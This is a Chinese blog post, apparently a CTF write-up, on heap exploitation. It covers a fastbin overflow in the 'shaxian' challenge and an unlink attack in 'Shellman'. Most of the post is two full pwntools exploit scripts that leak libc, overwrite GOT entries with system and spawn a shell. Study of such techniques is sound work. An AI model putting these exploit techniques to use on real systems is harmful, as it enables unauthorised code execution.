见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出

  1月1号写博客,也是不容易呀!大家新年快乐呀!

  先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian。先看看代码的大致流程,随便输入一下:

  

  这个题目关键之处在于堆溢出,对于堆种类的选择,由于分配堆之后直接就进行写了,所以,使用fastbin。

  

  关于fastbin的具体使用,前文已经将的很清楚了。这里主要是覆盖now指针,然后就可以任意读写了,exp如下:

from pwn import *

DEBUG = 1
LOCAL = 1 
VERBOSE = 1
atoi_got = 0x804b038

#bss_address = 0x0804b400
if LOCAL:
    r = process("shaxian")
else:
    r = remote('127.0.0.1',1001)

if DEBUG:
    gdb.attach(r)

if VERBOSE:
    context(log_level='debug')

def dcai(payload,number=0):
        r.sendline('1')
        r.recvuntil('Jianjiao')
        r.sendline(payload)
        r.recvuntil('How many?')
        r.sendline(str(number))
        r.recvuntil('choose:')

def submit():
        r.sendline('2')
        r.recvuntil('Your order has been submitted!')
        r.recvuntil('choose:')
 
r.recvuntil("Address:")
r.sendline(p32(0)+p32(0x31))
r.recvuntil('Your Phone number:')
r.sendline("a"*0xf0+p32(0)+p32(0x31))
r.recvuntil('choose:')

payload = 'B'*24+p32(0)+p32(0x31)+p32(0x804b02c) #puts
dcai(payload)
r.sendline('4')
r.recvuntil('* ')
r.recvuntil('* ')
puts = int(r.recvuntil('\n').strip('\n'))&0xffffffff

libc = puts - 0x657e0
print 'libc:',hex(libc)
system = libc + 0x40310
print 'system:',hex(system)
#atoi函数不能转换大于7fffffff的值,而加载地址前8位不变,所以可以只选择覆盖前24为
low8_system = (system<<8)%pow(2,32)   
payload = 'C'*24+p32(0)+p32(0x31)+p32(0x804b1b8)
dcai(payload)
raw_input('before')
submit() 
raw_input('after')
payload = "a"*4                    
payload += p32(atoi_got-1)
dcai(payload,low8_system)

r.sendline('/bin/sh')

r.interactive()
r.sendline('ls')
r.recv()

  关于bins的溢出的话,用Shellman这个pwn题来理解,其实这个前文的freenote非常相似,而且简单了很多,不多说,直接放exp,这三篇文章的二进制文件直接放在github里面了:

from pwn import *

DEBUG = 0
LOCAL = 1
VERBOSE = 1


if LOCAL:
    p = process('./shellman')
else:
    p = remote('127.0.0.1',6666)
    
if DEBUG:
    gdb.attach(p)

if VERBOSE:
    context(log_level='debug')

p.recvuntil('>')
    
def list_():
    p.sendline('1')
    k = p.recvuntil('>')
    return k

def new(payload):
    p.sendline('2')
    p.recvuntil('Length of new shellcode:')
    p.sendline(str(len(payload)))
    p.recvuntil('Enter your shellcode(in raw format):')
    p.send(payload)
    p.recvuntil('>')
    
def edit(payload,num=0):
    p.sendline('3')
    p.recvuntil('Shellcode number:')
    p.sendline(str(num))
    p.recvuntil('Length of shellcode:')
    p.sendline(str(len(payload)))
    p.recvuntil('Enter your shellcode:')
    p.send(payload)
    p.recvuntil('>')
    
def delete(num=0):
    p.sendline('4')
    p.recvuntil('Shellcode number:')
    p.sendline(str(num))
    p.sendline(str(num))
    
first_size = 0x30
second_size = 0xa0
    
new( 'a' * first_size)                        #at 0x0079e010
new( 'b' * second_size)                    #at 0x0079e050
new( '/bin/sh;')

PREV_IN_USE = 0x1
prev_size_0 = p64(0)
size_0 = p64(first_size | PREV_IN_USE)            
fd_0 = p64(0x006016d0 - 0x18)                            #bk offset
bk_0 = p64(0x006016d0 - 0x10)                            #fd offset
user_data = 'm' * (first_size - 0x20)                    #0x20 = chunk header size
prev_size_1 = p64(first_size)
size_1 = p64((second_size + 0x10) & (~PREV_IN_USE))        #make first chunk free
    
edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1)    
    #begin
delete(1)    
    #after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got
rubbish = 'whatthis'
is_shellcode_exist = p64(0x1)
shellcode_size = p64(0x8)
libc_free_got = p64(0x00601600)
    
edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got)
free_address = list_().split(': ')[1][0:16]


free_address = int(''.join(free_address[i:i+2] for i in range(14,-2,-2)),16)
print 'free_address:',hex(free_address)
libc= free_address - 0x82d00
print 'libc_address:',hex(libc)
system = libc + 0x46590
print 'system_address:',hex(system)    
edit(p64(system))
    
    #just free
delete(2)
p.interactive()

 

posted @ 2017-01-01 10:54  0xJDchen  阅读(2893)  评论(0编辑  收藏  举报